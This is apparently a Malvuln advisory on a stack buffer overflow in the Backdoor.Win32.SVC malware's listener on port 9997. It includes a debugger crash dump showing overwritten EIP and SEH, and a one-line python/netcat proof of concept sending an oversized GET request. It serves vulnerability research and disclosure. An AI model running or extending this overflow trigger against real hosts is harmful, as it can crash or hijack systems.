Backdoor.Win32.SVC Buffer Overflow

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.SVC  
Vulnerability: Remote Stack Buffer Overflow  
Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected system can make an specially crafted HTTP GET request to trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH).  
Type: PE32  
MD5: 011961a42700e7385a106d362eb661c7  
Vuln ID: MVID-2022-0446  
ASLR: False   
DEP: False  
Safe SEH: False  
Disclosure: 01/05/2022  
  
Memory Dump:  
(31c.1e64): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000  
eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
  
0:000> .ecxr  
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000  
eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe  
  
FAULTING_IP:   
Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+141e  
0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
  
EXCEPTION_RECORD: 0019f360 -- (.exr 0x19f360)  
ExceptionAddress: 0040141e (Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x0000141e)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 001a0000  
Attempt to write to address 001a0000  
  
PROCESS_NAME: Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
mswsock!WSPAccept+0  
71c8c1b0 68ec010000 push 1ECh  
  
FAILED_INSTRUCTION_ADDRESS:   
+0  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: 41414141  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 41414141  
  
CONTEXT: 0019f3b0 -- (.cxr 0x19f3b0)  
eax=000007fc ebx=00000000 ecx=00000089 edx=0019fa28 esi=004050ac edi=001a0000  
eip=0040141e esp=0019f810 ebp=007c06fe iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x141e:  
0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
Resetting default scope  
  
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]  
  
LAST_CONTROL_TRANSFER: from 773a13ee to 0040141e  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
STACK_TEXT:   
0019f810 0040141e backdoor_win32_svc+0x141e  
0019f850 773a13ee ntdll!RtlAllocateHeap+0x3e  
0019f89c 71c8cf6d mswsock!WSPAccept+0xdbd  
0019fabc 41414141 unknown!printable+0x0  
  
0019ff8c 41414141 unknown!printable+0x0  
0019ff90 41414141 unknown!p  
  
SYMBOL_NAME: mswsock!WSPAccept+0  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: mswsock  
  
IMAGE_NAME: mswsock.dll  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
STACK_COMMAND: .cxr 000000000019F3B0 ; kb ; dds 19f810 ; kb  
  
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_mswsock.dll!WSPAccept  
  
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mswsock!WSPAccept+0  
  
Followup: MachineOwner  
---------  
  
0:000> !exchain  
000a1594: ntdll!ExecuteHandler2+44 (773e9d70)  
000a1b44: ntdll!ExecuteHandler2+44 (773e9d70)  
...  
0019fc74: 41414141  
Invalid exception stack at 41414141  
  
Exploit/PoC:  
python -c "print('GET /'+'A'*5173+' HTTP/1.1\r\n\r\n')" | nc64.exe x.x.x.x 9997  
  
  
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